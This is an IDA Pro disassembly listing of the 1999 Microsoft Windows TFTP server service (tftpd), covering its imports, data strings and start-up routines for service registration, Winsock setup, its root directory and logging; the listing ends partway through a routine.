;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 16874933EA3E8939720FD4D16E70C6C4
; File Name : u:\work\16874933ea3e8939720fd4d16e70c6c4_orig.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 1000000
; Section 1. (virtual address 00001000)
; Virtual size : 00003310 ( 13072.)
; Section size in file : 00003400 ( 13312.)
; Offset to raw data for section: 00000600
; Flags 60000020: Text Executable Readable
; Alignment : default
;
; Imports from ADVAPI32.dll
;
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Externs
; _idata
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)
extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p
; DATA XREF: sub_10037BF+20r
; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable)
extrn StartServiceCtrlDispatcherA:dword ; CODE XREF: sub_1001570+DBp
; DATA XREF: sub_1001570+DBr
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p
; sub_10037BF+99p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
extrn RegCloseKey:dword ; CODE XREF: sub_10037BF+143p
; DATA XREF: sub_10037BF+143r
; SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc)
extrn RegisterServiceCtrlHandlerA:dword ; CODE XREF: sub_1001665+4Ap
; DATA XREF: sub_1001665+4Ar
; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus)
extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap
; sub_1001665+F7p ...
;
; Imports from KERNEL32.dll
;
; void __stdcall ExitProcess(UINT uExitCode)
extrn ExitProcess:dword ; CODE XREF: sub_1001570+EDp
; DATA XREF: sub_1001570+EDr
; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize)
extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_1003910+34p
; DATA XREF: sub_1003910+34r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
extrn GetLocalTime:dword ; CODE XREF: sub_1002A3D+35p
; DATA XREF: sub_1002A3D+35r
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p
; DATA XREF: sub_1002901+48r
; void __stdcall SetLastError(DWORD dwErrCode)
extrn SetLastError:dword ; CODE XREF: sub_10027E1+83p
; sub_1002F31+1C3p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
extrn SetEvent:dword ; CODE XREF: sub_1001E73+36p
; DATA XREF: sub_1001E73+36r
; DWORD __stdcall ResumeThread(HANDLE hThread)
extrn ResumeThread:dword ; CODE XREF: HandlerProc+38p
; DATA XREF: HandlerProc+38r
; DWORD __stdcall GetLastError()
extrn GetLastError:dword ; CODE XREF: sub_1001570+E5p
; sub_1001665:loc_1001762p ...
; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
extrn WaitForSingleObject:dword ; CODE XREF: sub_1001665+210p
; sub_1001A91+1ABp ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName)
extrn CreateEventA:dword ; CODE XREF: sub_1001665+7Ep
; sub_1001665+89p ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn InitializeCriticalSection:dword ; CODE XREF: sub_10018DB+12p
; sub_10018DB+19p ...
; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
extrn HeapCreate:dword ; CODE XREF: sub_10019F0+23p
; DATA XREF: sub_10019F0+23r
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn LeaveCriticalSection:dword ; CODE XREF: sub_1001A1F+68p
; sub_1001A91+B5p ...
; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem)
extrn HeapFree:dword ; CODE XREF: sub_1001A1F+58p
; DATA XREF: sub_1001A1F+58r
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn CloseHandle:dword ; CODE XREF: sub_1001A1F+49p
; sub_1001E73+A9p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn EnterCriticalSection:dword ; CODE XREF: sub_1001A1F+Bp
; sub_1001A91+4Ep ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
extrn InterlockedIncrement:dword ; CODE XREF: sub_1001A91+27Cp
; sub_1001A91+2C1p
; DATA XREF: ...
; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds)
extrn WaitForMultipleObjects:dword ; CODE XREF: sub_1001A91+158p
; DATA XREF: sub_1001A91+158r
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
extrn HeapAlloc:dword ; CODE XREF: sub_1001A91+93p
; DATA XREF: sub_1001A91+93r
; BOOL __stdcall ResetEvent(HANDLE hEvent)
extrn ResetEvent:dword ; CODE XREF: sub_1001A91+75p
; DATA XREF: sub_1001A91+75r
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn Sleep:dword ; CODE XREF: .text:01001D94p
; sub_100205A+4Ep
; DATA XREF: ...
; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p
; .text:01001D9Bp
; DATA XREF: ...
; DWORD __stdcall SuspendThread(HANDLE hThread)
extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p
; DATA XREF: HandlerProc+50r
;
; Imports from MSVCRT.dll
;
extrn __imp__initterm:dword ; DATA XREF: _inittermr
extrn __getmainargs:dword ; CODE XREF: .text:01003B18p
; DATA XREF: .text:01003B18r
extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p
; DATA XREF: .text:01003AD8r
extrn _lseek:dword ; CODE XREF: sub_1002F31+1F0p
; sub_1002F31+20Ap
; DATA XREF: ...
extrn _close:dword ; CODE XREF: sub_1002953+11p
; DATA XREF: sub_1002953+11r
extrn _read:dword ; CODE XREF: sub_10027E1+63p
; DATA XREF: sub_10027E1+63r
; void *__cdecl malloc(size_t Size)
extrn malloc:dword ; CODE XREF: sub_1001FA6+30p
; sub_100205A+93p ...
; void *__cdecl realloc(void *Memory, size_t NewSize)
extrn realloc:dword ; CODE XREF: sub_1001FA6+55p
; DATA XREF: sub_1001FA6+55r
; int __cdecl fclose(FILE *File)
extrn fclose:dword ; CODE XREF: sub_1001E73+CDp
; DATA XREF: sub_1001E73+CDr
; void __cdecl free(void *Memory)
extrn free:dword ; CODE XREF: sub_10018DB+75p
; sub_1001F54+47p ...
; time_t __cdecl time(time_t *Time)
extrn time:dword ; CODE XREF: sub_1001665+114p
; HandlerProc+8p
; DATA XREF: ...
extrn _chdir:dword ; CODE XREF: sub_1001665+19Fp
; sub_1001665+1BEp
; DATA XREF: ...
; int *__cdecl errno()
extrn _errno:dword ; CODE XREF: sub_1001665+1A7p
; sub_10027E1+7Dp ...
extrn _mkdir:dword ; CODE XREF: sub_1001665+1AEp
; DATA XREF: sub_1001665+1AEr
; FILE *__cdecl fopen(const char *Filename, const char *Mode)
extrn fopen:dword ; CODE XREF: sub_1001665+1DBp
; DATA XREF: sub_1001665+1DBr
; char *__cdecl ctime(const time_t *Time)
extrn ctime:dword ; CODE XREF: sub_1001665+1F7p
; HandlerProc+19p
; DATA XREF: ...
; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask)
extrn __imp__controlfp:dword ; DATA XREF: _controlfpr
extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r
extrn __set_app_type:dword ; CODE XREF: .text:01003A7Fp
; DATA XREF: .text:01003A7Fr
extrn __p__fmode:dword ; CODE XREF: .text:01003A9Cp
; DATA XREF: .text:01003A9Cr
extrn __p__commode:dword ; CODE XREF: .text:01003AAAp
; DATA XREF: .text:01003AAAr
extrn _adjust_fdiv:dword ; DATA XREF: .text:01003AB8r
; int printf(const char *Format, ...)
extrn printf:dword ; CODE XREF: sub_1001570+52p
; sub_1001570+5Fp ...
extrn __p___initenv:dword ; CODE XREF: .text:01003B33p
; DATA XREF: .text:01003B33r
extrn __imp__XcptFilter:dword ; DATA XREF: _XcptFilterr
; void __cdecl exit(int Code)
extrn _exit:dword ; CODE XREF: .text:01003B7Ap
; DATA XREF: .text:01003B7Ar
extrn _open:dword ; CODE XREF: sub_1002F31+1A6p
; sub_100333A+1B9p
; DATA XREF: ...
extrn _write:dword ; CODE XREF: sub_100373A+5Bp
; DATA XREF: sub_100373A+5Br
; void __cdecl exit(int Code)
extrn exit:dword ; CODE XREF: sub_1001570+CFp
; sub_1001665+C0p ...
;
; Imports from WS2_32.dll
;
; SOCKET __stdcall WSASocketA(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags)
extrn WSASocketA:dword ; CODE XREF: sub_100205A+17p
; DATA XREF: sub_100205A+17r
; int __stdcall WSAGetLastError()
extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p
; sub_1001A91+12Bp ...
; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData)
extrn WSAStartup:dword ; CODE XREF: sub_1001665+A6p
; DATA XREF: sub_1001665+A6r
; int __stdcall WSAEventSelect(SOCKET s, HANDLE hEventObject, __int32 lNetworkEvents)
extrn WSAEventSelect:dword ; CODE XREF: sub_100188E+Cp
; DATA XREF: sub_100188E+Cr
; u_short __stdcall htons(u_short hostshort)
extrn htons:dword ; CODE XREF: sub_1001A91+1D2p
; sub_100230A+18p ...
; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags)
extrn WSAGetOverlappedResult:dword ; CODE XREF: sub_1001A91+18Ep
; DATA XREF: sub_1001A91+18Er
; u_short __stdcall ntohs(u_short netshort)
extrn ntohs:dword ; CODE XREF: sub_1001A91+11Ep
; sub_1002A3D+40p ...
; int __stdcall WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
extrn WSARecvFrom:dword ; CODE XREF: sub_1001A91+10Fp
; DATA XREF: sub_1001A91+10Fr
; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp)
extrn ioctlsocket:dword ; CODE XREF: sub_1001A91+2Ap
; DATA XREF: sub_1001A91+2Ar
; BOOL __stdcall WSACloseEvent(HANDLE hEvent)
extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp
; DATA XREF: sub_1001F54+1Cr
; int __stdcall closesocket(SOCKET s)
extrn closesocket:dword ; CODE XREF: sub_1001F54+13p
; sub_100205A+E7p ...
; char *__stdcall inet_ntoa(struct in_addr in)
extrn inet_ntoa:dword ; CODE XREF: sub_1002024+4p
; sub_1002F31+64p ...
; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen)
extrn bind:dword ; CODE XREF: sub_100205A+7Ap
; sub_1002F31+256p ...
; struct servent *__stdcall getservbyname(const char *name, const char *proto)
extrn getservbyname:dword ; CODE XREF: sub_100205A+37p
; DATA XREF: sub_100205A+37r
; SOCKET __stdcall socket(int af, int type, int protocol)
extrn socket:dword ; CODE XREF: sub_1002F31+22Ep
; sub_100333A+1EBp
; DATA XREF: ...
; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen)
extrn sendto:dword ; CODE XREF: sub_100230A+B6p
; sub_1002A3D+65p ...
;
; Imports from iphlpapi.dll
;
; DWORD __stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED overlapped)
extrn __imp_NotifyAddrChange:dword ; DATA XREF: NotifyAddrChanger
; DWORD __stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder)
extrn __imp_GetIpAddrTable:dword ; DATA XREF: GetIpAddrTabler
;
; Imports from ntdll.dll
;
; void *__cdecl memmove(void *Dst, const void *Src, size_t Size)
extrn memmove:dword ; CODE XREF: sub_100273D+72p
; DATA XREF: sub_100273D+72r
; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count)
extrn strncpy:dword ; CODE XREF: sub_1003910+24p
; DATA XREF: sub_1003910+24r
; int __cdecl isupper(int C)
extrn isupper:dword ; CODE XREF: sub_100333A+86p
; DATA XREF: sub_100333A+86r
; int __cdecl tolower(int C)
extrn tolower:dword ; CODE XREF: sub_1002F31+88p
; sub_100333A+95p
; DATA XREF: ...
extrn RtlUpdateTimer:dword ; CODE XREF: sub_1002A3D+BCp
; sub_1002B5E+114p ...
extrn RtlDeleteTimer:dword ; CODE XREF: sub_1002901+27p
; sub_1002A3D+FDp ...
; int __cdecl stricmp(const char *Str1, const char *Str2)
extrn _stricmp:dword ; CODE XREF: sub_10023D8+54p
; sub_10023D8+C6p ...
; int __cdecl atoi(const char *Str)
extrn atoi:dword ; CODE XREF: sub_10023D8+81p
; sub_10023D8+F2p
; DATA XREF: ...
; char *__cdecl itoa(int Val, char *DstBuf, int Radix)
extrn _itoa:dword ; CODE XREF: sub_10023D8:loc_1002597p
; DATA XREF: sub_10023D8:loc_1002597r
extrn RtlDeregisterWaitEx:dword ; CODE XREF: sub_1001F54+Ap
; sub_1002901+35p
; DATA XREF: ...
extrn __imp__chkstk:dword ; DATA XREF: _chkstkr
extrn RtlCreateTimerQueue:dword ; CODE XREF: sub_10018DB+81p
; DATA XREF: sub_10018DB+81r
extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p
; sub_10018DB+D6p
; DATA XREF: ...
extrn RtlCreateTimer:dword ; CODE XREF: sub_10018DB+A8p
; sub_1002F31+34Dp ...
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 100117Ch
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 2 dup(0)
dd 37ECADD7h, 0
dd 4, 110h, 0
dd 4C00h, 0
dd 37ECADD7h, 0
dd 3, 310h, 0
dd 4D10h, 0
dd 37ECADD7h, 0
dd 6, 2 dup(0)
dd 5020h, 0
dd 37ECADD7h, 0
dd 2, 1Ah, 0
db 90h
db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
db ' 22:17:18',0Ah,0
; char aOWritableFiles[]
aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
; char aWritable[]
aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo
; sub_10037BF+121o
align 4
; char aOReadableFiles[]
aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
; char aReadable[]
aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o
; sub_10037BF+F1o
align 4
; char aOValidmastersK[]
aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
; char aMasters[]
aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o
; sub_10037BF+C1o
; char aOValidclientsK[]
aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
; char aClients[]
aClients db 'clients',0 ; DATA XREF: sub_1001570+95o
; sub_10037BF+8Eo
; char aTheseKeysAreSh[]
aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah
; DATA XREF: sub_1001570+8Do
db 0
align 4
; char aOStartdirector[]
aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
; char ValueName[]
ValueName db 'directory',0 ; DATA XREF: sub_1001570+7Fo
; sub_10037BF+5Co
align 4
; char aRegistryKeyNam[]
aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
; DATA XREF: sub_1001570+76o
; char SubKey[]
SubKey db 'System\CurrentControlSet\Services\tftpd\parameters',0
; DATA XREF: sub_1001570+71o
; sub_10037BF+13o
align 10h
; char aTftpd_logfileI[]
aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o
db 0Ah,0
align 4
; char Filename[]
Filename db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o
; sub_1001665+1D6o
align 4
; char aTftpd_default_[]
aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
align 4
; char Source[]
Source db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o
; sub_1003910+1Eo
a? db '-?',0 ; DATA XREF: sub_1001570+10o
align 4
; char Mode[]
Mode db 'a+',0 ; DATA XREF: sub_1001665+1D1o
align 4
; char name[]
name db 'tftp',0 ; DATA XREF: sub_100205A+31o
align 10h
; char proto[]
proto db 'udp',0 ; DATA XREF: sub_100205A+2Co
aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
align 10h
aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo
align 10h
aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
align 10h
aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
align 4
aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o
align 4
aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o
align 4
aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o
; char aTsize[]
aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao
align 10h
; char aTimeout_0[]
aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o
; char Str2[]
Str2 db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo
aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
; sub_100333A+201o ...
align 10h
aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
; sub_100333A+1A0o
align 4
aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
; sub_100333A+159o
aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o
; sub_100333A:loc_100341Fo
align 10h
aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo
; sub_100333A:loc_10033E1o
align 4
asc_100155C: ; DATA XREF: sub_1003910+7Fo
unicode 0, <\>,0
dword_1001560 dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_1001570 proc near ; CODE XREF: .text:01003B4Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 1
push esi
jle loc_1001646
mov eax, [esp+4+arg_4]
mov esi, offset a? ; "-?"
mov eax, [eax+4]
loc_1001588: ; CODE XREF: sub_1001570+34j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_10015AA
test cl, cl
jz short loc_10015A6
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_10015AA
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_1001588
loc_10015A6: ; CODE XREF: sub_1001570+22j
xor eax, eax
jmp short loc_10015AF
; ---------------------------------------------------------------------------
loc_10015AA: ; CODE XREF: sub_1001570+1Ej
; sub_1001570+2Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_10015AF: ; CODE XREF: sub_1001570+38j
test eax, eax
jnz loc_1001646
mov esi, ds:printf
push offset Format ; " ======================================"...
call esi ; printf
pop ecx
push offset Source ; "\\tftpdroot\\"
push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n"
call esi ; printf
pop ecx
pop ecx
push offset Filename ; "tftpd.log"
push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n"
call esi ; printf
pop ecx
pop ecx
push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"...
push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
call esi ; printf
pop ecx
pop ecx
push offset ValueName ; "directory"
push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"...
call esi ; printf
pop ecx
push offset aClients ; "clients"
push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aMasters ; "masters"
push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aReadable ; "readable"
push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aWritable ; "writable"
push offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push 0FFFFFFFFh ; Code
call ds:exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_1001646: ; CODE XREF: sub_1001570+6j
; sub_1001570+41j
push offset ServiceStartTable ; lpServiceStartTable
call ds:StartServiceCtrlDispatcherA ; StartServiceCtrlDispatcherA
test eax, eax
jnz short loc_100165B
call ds:GetLastError
loc_100165B: ; CODE XREF: sub_1001570+E3j
push 0 ; uExitCode
call ds:ExitProcess ; ExitProcess
sub_1001570 endp
; ---------------------------------------------------------------------------
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_1001665 proc near ; DATA XREF: .data:ServiceStartTableo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push offset HandlerProc ; lpHandlerProc
push offset ServiceName ; "Tftpd"
mov ServiceStatus.dwServiceType, 30h
mov ServiceStatus.dwCurrentState, 2
mov ServiceStatus.dwControlsAccepted, ebp
mov ServiceStatus.dwCheckPoint, 1
mov ServiceStatus.dwWaitHint, 4E20h
mov ServiceStatus.dwWin32ExitCode, ebp
mov ServiceStatus.dwServiceSpecificExitCode, ebp
call ds:RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA
cmp eax, ebp
mov hServiceStatus, eax
jz loc_1001762
mov esi, ds:SetServiceStatus
mov edi, offset ServiceStatus
push edi ; lpServiceStatus
push eax ; hServiceStatus
call esi ; SetServiceStatus
cmp eax, ebp
jz loc_1001762
mov ebx, ds:CreateEventA
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
call ebx ; CreateEventA
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
mov hHandle, eax
call ebx ; CreateEventA
cmp hHandle, ebp
mov hObject, eax
jz short loc_100171C
cmp eax, ebp
jz short loc_100171C
push offset stru_1006140 ; lpWSAData
push 101h ; wVersionRequested
call ds:WSAStartup ; WSAStartup
cmp eax, 0FFFFFFFFh
jnz short loc_1001735
call ds:WSAGetLastError ; WSAGetLastError
loc_100171C: ; CODE XREF: sub_1001665+96j
; sub_1001665+9Aj ...
push 1Fh
call sub_1001E73
push 1 ; Code
call ds:exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_100172C: ; CODE XREF: sub_1001665+218j
; sub_1001665+224j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_1001735: ; CODE XREF: sub_1001665+AFj
push edi ; lpServiceStatus
mov ServiceStatus.dwCurrentState, 4
push hServiceStatus ; hServiceStatus
mov ServiceStatus.dwControlsAccepted, 7
mov ServiceStatus.dwCheckPoint, ebp
mov ServiceStatus.dwWaitHint, ebp
call esi ; SetServiceStatus
cmp eax, ebp
jnz short loc_100176A
loc_1001762: ; CODE XREF: sub_1001665+57j
; sub_1001665+6Ej
call ds:GetLastError
jmp short loc_100171C
; ---------------------------------------------------------------------------
loc_100176A: ; CODE XREF: sub_1001665+FBj
push 9
pop ecx
xor eax, eax
mov edx, offset Time
mov edi, edx
rep stosd
push edx ; Time
call ds:time ; time
pop ecx
mov edx, [esp+10h+arg_0]
dec edx
mov ebx, (offset dword_1005E07+1)
jz short loc_10017F3
mov eax, [esp+10h+arg_4]
lea eax, [eax+edx*4]
mov [esp+10h+arg_0], eax
loc_1001797: ; CODE XREF: sub_1001665+18Cj
mov eax, [esp+10h+arg_0]
mov eax, [eax]
cmp byte ptr [eax], 2Dh
jnz short loc_10017F3
movsx ecx, byte ptr [eax+1]
sub ecx, 64h
jz short loc_10017C9
dec ecx
jz short loc_10017BD
dec ecx
jnz short loc_10017E9
mov dword_1005DD8, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017BD: ; CODE XREF: sub_1001665+147j
mov dword_1005DD4, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017C9: ; CODE XREF: sub_1001665+144j
lea edi, [eax+2]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_10017E9: ; CODE XREF: sub_1001665+14Aj
; sub_1001665+156j ...
sub [esp+10h+arg_0], 4
dec edx
cmp edx, ebp
ja short loc_1001797
loc_10017F3: ; CODE XREF: sub_1001665+125j
; sub_1001665+13Bj
call sub_10037BF
call sub_1003910
mov esi, ds:_chdir
push ebx
call esi ; _chdir
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_100182E
call ds:_errno ; _errno
push ebx
call ds:_mkdir ; _mkdir
cmp eax, ebp
pop ecx
jnz loc_100171C
push ebx
call esi ; _chdir
cmp eax, ebp
pop ecx
jnz loc_100171C
loc_100182E: ; CODE XREF: sub_1001665+1A5j
cmp dword_1005DD8, ebp
jz short loc_1001857
push offset Mode ; "a+"
push offset Filename ; "tftpd.log"
call ds:fopen ; fopen
pop ecx
cmp eax, ebp
pop ecx
mov File, eax
jnz short loc_1001857
mov dword_1005DD8, ebp
loc_1001857: ; CODE XREF: sub_1001665+1CFj
; sub_1001665+1EAj
push offset Time ; Time
call ds:ctime ; ctime
pop ecx
call sub_10018DB
call sub_10019F0
push 0FFFFFFFFh ; dwMilliseconds
push hHandle ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
cmp eax, ebp
jz loc_100172C
call ds:GetLastError
jmp loc_100172C
sub_1001665 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100188E(SOCKET s, HANDLE hEventObject, char)
sub_100188E proc near ; CODE XREF: sub_100205A+D5p
; sub_1002F31+2A8p ...
var_4 = dword ptr -4
s = dword ptr 8
hEventObject = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push 3 ; lNetworkEvents
push [ebp+hEventObject] ; hEventObject
push [ebp+s] ; s
call ds:WSAEventSelect ; WSAEventSelect
test eax, eax
jz short loc_10018AE
call ds:GetLastError
xor eax, eax
jmp short locret_10018D7
; ---------------------------------------------------------------------------
loc_10018AE: ; CODE XREF: sub_100188E+14j
test [ebp+arg_8], 1
push 0
push 0FFFFFFFFh
push [ebp+s]
jz short loc_10018C2
push offset loc_1001D74
jmp short loc_10018C7
; ---------------------------------------------------------------------------
loc_10018C2: ; CODE XREF: sub_100188E+2Bj
push offset loc_1001DDB
loc_10018C7: ; CODE XREF: sub_100188E+32j
push [ebp+hEventObject]
lea eax, [ebp+var_4]
push eax
call ds:RtlRegisterWait ; RtlRegisterWait
mov eax, [ebp+var_4]
locret_10018D7: ; CODE XREF: sub_100188E+1Ej
leave
retn 0Ch
sub_100188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp
Memory = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ds:InitializeCriticalSection
push edi
push offset CriticalSection ; lpCriticalSection
call esi ; InitializeCriticalSection
push offset stru_1006020 ; lpCriticalSection
call esi ; InitializeCriticalSection
mov eax, offset dword_1006098
mov dword_100609C, eax
mov dword_1006098, eax
mov eax, offset Memory
